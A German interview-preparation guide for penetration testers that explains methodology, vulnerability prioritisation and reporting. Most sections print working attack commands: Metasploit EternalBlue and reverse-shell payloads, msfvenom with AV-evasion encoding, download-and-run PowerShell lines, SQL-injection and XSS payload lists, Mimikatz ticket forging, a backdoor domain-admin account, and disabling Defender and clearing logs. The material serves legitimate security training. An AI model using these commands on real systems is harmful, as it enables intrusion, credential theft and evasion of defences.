Fragen im Vorstellungsgespräch für Penetration Tester: Der komplette Leitfaden

Einführung

Penetrationstester (Ethical Hacker) identifizieren Sicherheitslücken, indem sie reale Angriffe simulieren. Diese Rolle erfordert tiefgreifende Kenntnisse über Hacking-Techniken, Sicherheitstools und -methodologien, um Organisationen bei der Stärkung ihrer Abwehr zu unterstützen.

Dieser Leitfaden behandelt wichtige Interviewfragen für Penetrationstester, wobei der Schwerpunkt auf Ethical Hacking, Schwachstellenbewertung und Sicherheitsprüfungswerkzeugen liegt.

Grundlagen des Penetrationstests

1. Welche Phasen hat ein Penetrationstest?

Antwort: Strukturierte Penetrationstest-Methodik:

1. Planung & Aufklärung:

Umfang und Ziele definieren
Informationen sammeln (passiv/aktiv)

2. Scannen:

Aktive Hosts, offene Ports, Dienste identifizieren
Schwachstellenscan

3. Zugriff erlangen:

Schwachstellen ausnutzen
Einen ersten Fuß fassen

4. Zugriff aufrechterhalten:

Hintertüren installieren
Privilegienerweiterung

5. Analyse & Berichterstellung:

Ergebnisse dokumentieren
Sanierungsempfehlungen geben

Loading diagram...

Beispiel für Aufklärung:

# Passive Aufklärung
whois target.com
nslookup target.com
dig target.com ANY

# Aktive Aufklärung
nmap -sn 192.168.1.0/24  # Host-Erkennung
nmap -sV -sC target.com  # Dienst-/Versionserkennung

Seltenheit: Sehr häufig Schwierigkeitsgrad: Mittel

Schwachstellenbewertung

2. Wie priorisieren Sie Schwachstellen?

Antwort: Risikobasierte Priorisierung unter Verwendung von CVSS und Geschäftskontext:

CVSS-Bewertung:

Kritisch (9.0-10.0): Remote Code Execution, Umgehung der Authentifizierung
Hoch (7.0-8.9): SQL Injection, XSS mit Datenzugriff
Mittel (4.0-6.9): Informationspreisgabe, CSRF
Niedrig (0.1-3.9): Geringfügige Informationslecks

Priorisierungsfaktoren:

def calculate_risk_score(vulnerability):
    """Calculate risk score for vulnerability"""
    # Base CVSS score
    cvss_score = vulnerability.cvss_score
    
    # Exploitability
    if vulnerability.exploit_available:
        exploitability = 1.5
    elif vulnerability.poc_available:
        exploitability = 1.2
    else:
        exploitability = 1.0
    
    # Asset criticality
    asset_value = {
        'critical': 3.0,  # Production database
        'high': 2.0,      # Web application
        'medium': 1.5,    # Internal tool
        'low': 1.0        # Test environment
    }[vulnerability.asset_criticality]
    
    # Data sensitivity
    data_sensitivity = {
        'pii': 2.0,       # Personal data
        'financial': 2.5, # Payment info
        'confidential': 1.5,
        'public': 1.0
    }[vulnerability.data_type]
    
    risk_score = cvss_score * exploitability * asset_value * data_sensitivity
    return min(risk_score, 10.0)  # Cap at 10

Seltenheit: Sehr häufig Schwierigkeitsgrad: Mittel

Metasploit

3. Wie verwenden Sie Metasploit, um eine Schwachstelle auszunutzen?

Antwort: Metasploit Framework-Workflow:

Grundlegende Ausnutzung:

# Starten Sie Metasploit
msfconsole

# Nach Exploit suchen
search ms17-010  # EternalBlue

# Exploit verwenden
use exploit/windows/smb/ms17_010_eternalblue

# Optionen anzeigen
show options

# Ziel festlegen
set RHOSTS 192.168.1.100

# Payload festlegen
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444

# Überprüfen, ob das Ziel anfällig ist
check

# Exploit ausführen
exploit

Meterpreter-Befehle:

# Systeminformationen
sysinfo
getuid

# Privilegienerweiterung
getsystem

# Anmeldeinformationen auslesen
hashdump
load kiwi
cred_all

# Persistenz
run persistence -X -i 60 -p 4444 -r 192.168.1.50

# Pivoting
run autoroute -s 10.0.0.0/24
portfwd add -l 3389 -p 3389 -r 10.0.0.10

Payload-Generierung:

# Reverse Shell generieren
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f exe -o payload.exe

# Codieren, um AV zu umgehen
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -e x86/shikata_ga_nai -i 5 \
  -f exe -o encoded_payload.exe

Seltenheit: Sehr häufig Schwierigkeitsgrad: Mittel bis schwer

4. Wie führen Sie eine Privilegienerweiterung durch?

Antwort: Die Privilegienerweiterung nutzt Fehlkonfigurationen aus, um höhere Zugriffsebenen zu erhalten.

Linux-Privilegienerweiterung:

1. Enumeration:

# Systeminformationen
uname -a
cat /etc/issue
cat /etc/*-release

# Aktueller Benutzer und Berechtigungen
id
sudo -l

# Benutzer und Gruppen
cat /etc/passwd
cat /etc/group

# SUID-Binärdateien
find / -perm -4000 -type f 2>/dev/null

# Beschreibbare Verzeichnisse
find / -writable -type d 2>/dev/null

# Cron-Jobs
crontab -l
cat /etc/crontab
ls -la /etc/cron*

# Netzwerkverbindungen
netstat -antup
ss -tulpn

2. Häufige Techniken:

SUID-Exploitation:

# SUID-Binärdateien finden
find / -perm -u=s -type f 2>/dev/null

# Beispiel: Find ausnutzen
find /home -exec /bin/sh \; -quit

# Beispiel: Vim ausnutzen
vim -c ':!/bin/sh'

# Beispiel: Nmap ausnutzen (alte Versionen)
nmap --interactive
nmap> !sh

Sudo-Fehlkonfiguration:

# Sudo-Berechtigungen überprüfen
sudo -l

# Beispielausgabe:
# (ALL) NOPASSWD: /usr/bin/vim

# Vim ausnutzen
sudo vim -c ':!/bin/sh'

# Beispiel: LD_PRELOAD
sudo LD_PRELOAD=/tmp/shell.so find

Kernel-Exploits:

# Kernel-Version überprüfen
uname -r

# Nach Exploits suchen
searchsploit linux kernel 4.4.0

# Beispiel: Dirty COW
gcc -pthread dirty.c -o dirty -lcrypt
./dirty password

3. Automatisierte Tools:

# LinPEAS (Linux Privilege Escalation Awesome Script)
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

# Linux Exploit Suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

Windows-Privilegienerweiterung:

1. Enumeration:

# Systeminformationen
systeminfo
hostname
whoami /all

# Benutzer und Gruppen
net user
net localgroup administrators

# Laufende Prozesse
tasklist /v
wmic process list full

# Dienste
sc query
wmic service list brief

# Geplante Aufgaben
schtasks /query /fo LIST /v

# Netzwerkverbindungen
netstat -ano

# Installierte Software
wmic product get name,version

2. Häufige Techniken:

Nicht in Anführungszeichen gesetzte Dienstpfade:

# Nicht in Anführungszeichen gesetzte Dienstpfade finden
wmic service get name,pathname,displayname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

# Ausnutzen
C:\Program Files\Vulnerable App\service.exe
# Bösartige ausführbare Datei erstellen unter:
C:\Program.exe

AlwaysInstallElevated:

# Registrierung überprüfen
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Wenn beide 1 sind, bösartige MSI erstellen
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi
msiexec /quiet /qn /i shell.msi

Token-Impersonierung:

# Meterpreter
load incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

3. Automatisierte Tools:

# WinPEAS
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1')
Invoke-WinPEAS

# PowerUp
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1')
Invoke-AllChecks

# Sherlock (Kernel-Exploits)
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')
Find-AllVulns

Seltenheit: Sehr häufig Schwierigkeitsgrad: Schwer

Burp Suite

5. Wie finden Sie SQL-Injection mit Burp Suite?

Antwort: Systematische SQL-Injection-Tests:

1. Anfrage abfangen:

POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=admin&password=test123

2. An Repeater senden: Manuelle Payloads testen:

username=admin' OR '1'='1&password=test
username=admin' AND 1=1--&password=test
username=admin' UNION SELECT NULL--&password=test

3. Intruder verwenden:

Attack Type: Sniper
Payload Position: username=§admin§
Payload List:
  ' OR '1'='1
  ' OR 1=1--
  ' UNION SELECT NULL--
  ' UNION SELECT NULL,NULL--
  admin'--
  ' OR 'a'='a

4. Antworten analysieren:

Unterschiedliche Antwortlängen
Fehlermeldungen
Zeitverzögerungen (Blind SQLi)

Erweiterte Tests:

# Blind SQL injection detection
import requests
import time

def test_blind_sqli(url, param):
    # Time-based detection
    payloads = [
        "' AND SLEEP(5)--",
        "' OR SLEEP(5)--",
        "'; WAITFOR DELAY '00:00:05'--"
    ]
    
    for payload in payloads:
        start = time.time()
        response = requests.post(url, data={param: payload})
        elapsed = time.time() - start
        
        if elapsed > 5:
            print(f"[+] Blind SQLi found with payload: {payload}")
            return True
    
    return False

Seltenheit: Sehr häufig Schwierigkeitsgrad: Mittel

Webanwendungstests

6. Wie testen Sie auf XSS-Schwachstellen?

Antwort: Umfassender XSS-Testansatz:

Arten von XSS:

Reflektiert: Payload in URL/Formular, sofort reflektiert
Gespeichert: Payload in Datenbank gespeichert
DOM-basiert: Clientseitige JavaScript-Schwachstelle

Testmethodik:

1. Injektionspunkte identifizieren:

# URL-Parameter
http://target.com/search?q=<script>alert(1)</script>

# Formulareingaben
<input name="comment" value="<script>alert(1)</script>">

# HTTP-Header
User-Agent: <script>alert(1)</script>

2. Filter umgehen:

// Grundlegende Payloads
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

// Filter umgehen
<scr<script>ipt>alert(1)</script>
<img src=x onerror="alert(1)">
<IMG SRC=x ONERROR=alert(1)>  // Fallunterscheidung

// Ereignishandler
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>

// Codierte Payloads
&#60;script&#62;alert(1)&#60;/script&#62;
\u003cscript\u003ealert(1)\u003c/script\u003e

3. Burp Suite XSS-Tests:

Intruder Payload List:
  <script>alert(document.domain)</script>
  <img src=x onerror=alert(1)>
  <svg/onload=alert(1)>
  javascript:alert(1)
  <iframe src="javascript:alert(1)">

4. Automatisches Scannen:

# XSStrike
python xsstrike.py -u "http://target.com/search?q=test"

# Dalfox
dalfox url http://target.com/search?q=FUZZ

Seltenheit: Sehr häufig Schwierigkeitsgrad: Mittel

7. Wie testen Sie die API-Sicherheit?

Antwort: API-Sicherheitstests konzentrieren sich auf Authentifizierung, Autorisierung und Eingabevalidierung.

Häufige API-Schwachstellen:

1. Fehlerhafte Authentifizierung:

# Schwaches JWT testen
curl -H "Authorization: Bearer eyJhbGciOiJub25lIn0..." https://api.example.com/user

# JWT mit "alg": "none"
# Payload ändern und Signatur entfernen

2. Fehlerhafte Autorisierung:

# IDOR (Insecure Direct Object Reference)
curl https://api.example.com/user/123
curl https://api.example.com/user/124  # Andere Benutzer-IDs ausprobieren

# Unterschiedliche HTTP-Methoden testen
curl -X DELETE https://api.example.com/user/123
curl -X PUT https://api.example.com/user/123 -d '{"role":"admin"}'

3. Massenzuweisung:

# Admin-Felder hinzufügen
curl -X POST https://api.example.com/register \
  -H "Content-Type: application/json" \
  -d '{
    "username": "attacker",
    "password": "pass123",
    "role": "admin",
    "is_admin": true
  }'

REST-API-Tests:

# Automatisierte API-Tests
import requests
import json

class APISecurityTester:
    def __init__(self, base_url, token=None):
        self.base_url = base_url
        self.headers = {}
        if token:
            self.headers['Authorization'] = f'Bearer {token}'
    
    def test_idor(self, endpoint, id_range):
        """Test for IDOR vulnerabilities"""
        accessible_ids = []
        
        for user_id in range(id_range[0], id_range[1]):
            url = f"{self.base_url}/{endpoint}/{user_id}"
            response = requests.get(url, headers=self.headers)
            
            if response.status_code == 200:
                accessible_ids.append(user_id)
                print(f"[+] Accessible: {user_id}")
        
        return accessible_ids
    
    def test_rate_limiting(self, endpoint):
        """Test rate limiting"""
        for i in range(1000):
            response = requests.get(
                f"{self.base_url}/{endpoint}",
                headers=self.headers
            )
            
            if response.status_code == 429:
                print(f"[+] Rate limiting enforced after {i} requests")
                return True
        
        print("[-] No rate limiting detected")
        return False
    
    def test_injection(self, endpoint, payloads):
        """Test for injection vulnerabilities"""
        for payload in payloads:
            data = {"search": payload}
            response = requests.post(
                f"{self.base_url}/{endpoint}",
                headers=self.headers,
                json=data
            )
            
            # Check for SQL errors
            if any(err in response.text.lower() for err in 
                   ['sql', 'mysql', 'sqlite', 'postgresql', 'oracle']):
                print(f"[!] Potential SQL injection: {payload}")
                print(f"Response: {response.text[:200]}")
    
    def test_authentication_bypass(self, login_endpoint):
        """Test authentication bypass"""
        bypass_payloads = [
            {"username": "admin' OR '1'='1", "password": "anything"},
            {"username": "admin", "password": "' OR '1'='1"},
            {"username": "admin'--", "password": ""},
        ]
        
        for payload in bypass_payloads:
            response = requests.post(
                f"{self.base_url}/{login_endpoint}",
                json=payload
            )
            
            if response.status_code == 200:
                print(f"[!] Potential auth bypass: {payload}")

# Usage
tester = APISecurityTester('https://api.example.com')
tester.test_idor('users', (1, 100))
tester.test_rate_limiting('api/search')

GraphQL-Tests:

# Introspection query
query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    types {
      name
      fields {
        name
        args {
          name
          type { name }
        }
      }
    }
  }
}

# GraphQL injection
query = '''
query {
  user(id: "1' OR '1'='1") {
    id
    username
    email
  }
}
'''

# GraphQL batching attack
queries = [
    {"query": "query { user(id: 1) { id username } }"},
    {"query": "query { user(id: 2) { id username } }"},
    # ... repeat 1000 times
]

response = requests.post(
    'https://api.example.com/graphql',
    json=queries
)

API-Fuzzing:

# Using ffuf for API fuzzing
ffuf -w wordlist.txt -u https://api.example.com/FUZZ -mc 200,301,302

# Parameter fuzzing
ffuf -w params.txt -u https://api.example.com/api?FUZZ=test -mc 200

# Method fuzzing
for method in GET POST PUT DELETE PATCH OPTIONS; do
    curl -X $method https://api.example.com/api/resource
done

Postman/Burp Suite:

// Postman pre-request script
const payload = "' OR '1'='1";
pm.environment.set("injection_payload", payload);

// Postman test script
pm.test("Check for SQL error", function () {
    pm.expect(pm.response.text()).to.not.include("SQL");
    pm.expect(pm.response.text()).to.not.include("mysql");
});

OWASP API Security Top 10:

Broken Object Level Authorization - IDOR testen
Broken Authentication - Schwache Token testen
Excessive Data Exposure - Antwortdaten überprüfen
Lack of Resources & Rate Limiting - DoS testen
Broken Function Level Authorization - Privilegienerweiterung testen
Mass Assignment - Parameter-Pollution testen
Security Misconfiguration - Header, CORS überprüfen
Injection - SQLi, NoSQLi, Command Injection testen
Improper Assets Management - Alte API-Versionen finden
Insufficient Logging & Monitoring - Audit-Logs überprüfen

Seltenheit: Häufig Schwierigkeitsgrad: Mittel bis schwer

Netzwerk-Penetrationstests

8. Wie führen Sie Netzwerk-Penetrationstests durch?

Antwort: Strukturierte Netzwerkbewertung:

1. Netzwerkermittlung:

# Ping-Sweep
nmap -sn 192.168.1.0/24

# ARP-Scan (lokales Netzwerk)
arp-scan -l

# Aktive Hosts identifizieren
netdiscover -r 192.168.1.0/24

2. Port-Scanning:

# TCP SYN-Scan (Stealth)
nmap -sS 192.168.1.100

# Dienstversionserkennung
nmap -sV 192.168.1.100

# Betriebssystemerkennung
nmap -O 192.168.1.100

# Aggressiver Scan
nmap -A -T4 192.168.1.100

# Alle Ports
nmap -p- 192.168.1.100

3. Schwachstellenscan:

# Nmap NSE-Skripte
nmap --script vuln 192.168.1.100

# Spezifische Schwachstelle
nmap --script smb-vuln-ms17-010 192.168.1.100

# OpenVAS/Nessus für umfassendes Scannen

4. Ausnutzung:

# SMB-Ausnutzung
use exploit/windows/smb/ms17_010_eternalblue

# SSH Brute Force
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USERNAME root
set PASS_FILE /usr/share/wordlists/rockyou.txt
run

5. Post-Exploitation:

# Laterale Bewegung
# Anmeldeinformationen auslesen
# Privilegienerweiterung
# Persistenz

Seltenheit: Sehr häufig Schwierigkeitsgrad: Schwer

9. Wie greifen Sie Active Directory-Umgebungen an?

Antwort: Active Directory ist ein Hauptziel mit vielen Angriffsvektoren.

Enumeration:

# PowerView-Enumeration
Import-Module PowerView.ps1

# Domäneninformationen abrufen
Get-Domain
Get-DomainController

# Benutzer aufzählen
Get-DomainUser
Get-DomainUser -Identity administrator

# Gruppen aufzählen
Get-DomainGroup
Get-DomainGroupMember -Identity "Domain Admins"

# Freigaben finden
Find-DomainShare -CheckShareAccess

# Computer finden
Get-DomainComputer

BloodHound:

# Daten mit SharpHound sammeln
.\SharpHound.exe -c All

# Oder mit PowerShell
Import-Module SharpHound.ps1
Invoke-BloodHound -CollectionMethod All

# JSON in die BloodHound-GUI hochladen
# Angriffspfade zu Domänenadministratoren analysieren

Kerberoasting:

# Service Tickets anfordern
Import-Module Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat Hashcat

# Oder mit Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Mit Hashcat knacken
hashcat -m 13100 hashes.txt wordlist.txt

AS-REP Roasting:

# Benutzer mit "Kerberos-Vorauthentifizierung nicht erforderlich" finden
Get-DomainUser -PreauthNotRequired

# AS-REP anfordern
.\Rubeus.exe asreproast /outfile:asrep_hashes.txt

# Knacken
hashcat -m 18200 asrep_hashes.txt wordlist.txt

Pass-the-Hash:

# Mit Impacket
python3 psexec.py -hashes :ntlmhash [email protected]

# Mit CrackMapExec
crackmapexec smb 10.10.10.0/24 -u administrator -H ntlmhash

# SAM auslesen
python3 secretsdump.py -hashes :ntlmhash [email protected]

Pass-the-Ticket:

# Tickets mit Mimikatz exportieren
mimikatz # sekurlsa::tickets /export

# Ticket injizieren
mimikatz # kerberos::ptt ticket.kirbi

# Oder mit Rubeus
.\Rubeus.exe ptt /ticket:ticket.kirbi

Golden Ticket:

# Krbtgt-Hash abrufen
mimikatz # lsadump::dcsync /domain:example.com /user:krbtgt

# Golden Ticket erstellen
mimikatz # kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /krbtgt:hash /id:500

# Ticket injizieren
mimikatz # kerberos::ptt ticket.kirbi

Silver Ticket:

# Service Account Hash abrufen
mimikatz # sekurlsa::logonpasswords

# Silver Ticket für bestimmten Dienst erstellen
mimikatz # kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /target:server.example.com /service:cifs /rc4:hash

DCSync-Angriff:

# Mimikatz
mimikatz # lsadump::dcsync /domain:example.com /user:Administrator

# Impacket
python3 secretsdump.py example.com/user:[email protected]

Laterale Bewegung:

# PSExec
.\PsExec.exe \\target -u domain\user -p password cmd

# WMI
wmic /node:target /user:domain\user /password:password process call create "cmd.exe"

# PowerShell Remoting
Enter-PSSession -ComputerName target -Credential domain\user

# RDP
xfreerdp /u:domain\user /p:password /v:target

Persistenz:

# Domänenadministrator erstellen
net user backdoor Password123! /add /domain
net group "Domain Admins" backdoor /add /domain

# Golden Ticket (langfristig)
# Silver Ticket (spezifischer Dienst)

# Skeleton Key (Mimikatz)
mimikatz # misc::skeleton
# Jetzt kann sich jeder Benutzer mit dem Passwort "mimikatz" authentifizieren

Defense Evasion:

# Windows Defender deaktivieren
Set-MpPreference -DisableRealtimeMonitoring $true

# Ereignisprotokolle löschen
wevtutil cl System
wevtutil cl Security
wevtutil cl Application

# PowerShell verschleiern
Invoke-Obfuscation

Seltenheit: Häufig Schwierigkeitsgrad: Schwer

Berichterstellung

10. Was sollte ein Penetrationstestbericht enthalten?

Antwort: Umfassende Berichtsstruktur:

Zusammenfassung:

Ergebnisse auf hoher Ebene
Geschäftsauswirkungen
Risikoüberblick
Empfehlungen

Technische Details:

## Ergebnis: SQL Injection im Anmeldeformular

**Schweregrad:** Kritisch (CVSS 9.8)

**Beschreibung:**
Das Anmeldeformular unter /admin/login ist anfällig für SQL Injection,
wodurch Angreifer die Authentifizierung umgehen und auf das Admin-Panel zugreifen können.

**Betroffenes Asset:**
- URL: https://target.com/admin/login
- Parameter: username
- Methode: POST

**Proof of Concept:**
```http
POST /admin/login HTTP/1.1
Host: target.com

username=admin' OR '1'='1'--&password=anything

Auswirkungen:

Unbefugter Zugriff auf das Admin-Panel
Zugriff auf sensible Kundendaten
Potentielle Datenbankkompromittierung

Sanierung:

Parametrisierte Abfragen verwenden
Eingabevalidierung implementieren
Prinzip der geringsten Privilegien auf Datenbankbenutzer anwenden

Seltenheit: Sehr häufig Schwierigkeitsgrad: Mittel

Fazit

Penetrationstester-Interviews erfordern praktische Erfahrung und fundierte technische Kenntnisse. Konzentrieren Sie sich auf:

Methodik: Strukturierter Testansatz, Dokumentation
Schwachstellenbewertung: Risikopriorisierung, CVSS-Bewertung
Tools: Metasploit, Burp Suite, Nmap, benutzerdefinierte Skripte
Privilegienerweiterung: Linux- und Windows-Techniken, Automatisierungstools
Webtests: SQL Injection, XSS, Umgehung der Authentifizierung
API-Tests: REST/GraphQL-Sicherheit, Autorisierungsfehler
Netzwerktests: Scannen, Ausnutzen, laterale Bewegung
Active Directory: Kerberoasting, Pass-the-Hash, BloodHound
Berichterstellung: Klare Dokumentation, Geschäftsauswirkungen, Sanierung

Üben Sie in legalen Umgebungen (HackTheBox, TryHackMe), erwerben Sie Zertifizierungen (OSCP, CEH) und bleiben Sie über die neuesten Schwachstellen auf dem Laufenden. Viel Glück!

Inhaltsverzeichnis

Fragen im Vorstellungsgespräch für Penetration Tester: Der komplette Leitfaden

Einführung

Grundlagen des Penetrationstests

1. Welche Phasen hat ein Penetrationstest?

Schwachstellenbewertung

2. Wie priorisieren Sie Schwachstellen?

Metasploit

3. Wie verwenden Sie Metasploit, um eine Schwachstelle auszunutzen?

4. Wie führen Sie eine Privilegienerweiterung durch?

Burp Suite

5. Wie finden Sie SQL-Injection mit Burp Suite?

Webanwendungstests

6. Wie testen Sie auf XSS-Schwachstellen?

7. Wie testen Sie die API-Sicherheit?

Netzwerk-Penetrationstests

8. Wie führen Sie Netzwerk-Penetrationstests durch?

9. Wie greifen Sie Active Directory-Umgebungen an?

Berichterstellung

10. Was sollte ein Penetrationstestbericht enthalten?

Fazit

Heben Sie sich bei Recruitern ab und Landen Sie Ihren Traumjob

Diesen Beitrag teilen

Wöchentliche Karrieretipps, die wirklich funktionieren

Wöchentliche Karrieretipps, die wirklich funktionieren

Verwandte Beiträge

Vorstellungsgesprächsfragen für erfahrene React Native Entwickler: Der komplette Leitfaden

Leitfaden für Vorstellungsgespräche für erfahrene Netzwerktechniker: Umfassende Fragen und Antworten

Leitfaden für Vorstellungsgespräche für erfahrene Systemadministratoren: Umfassende Fragen und Antworten

Heben Sie sich bei Recruitern ab und Landen Sie Ihren Traumjob

Diesen Beitrag teilen

Reduzieren Sie Ihre Lebenslauf-Schreibzeit um 90%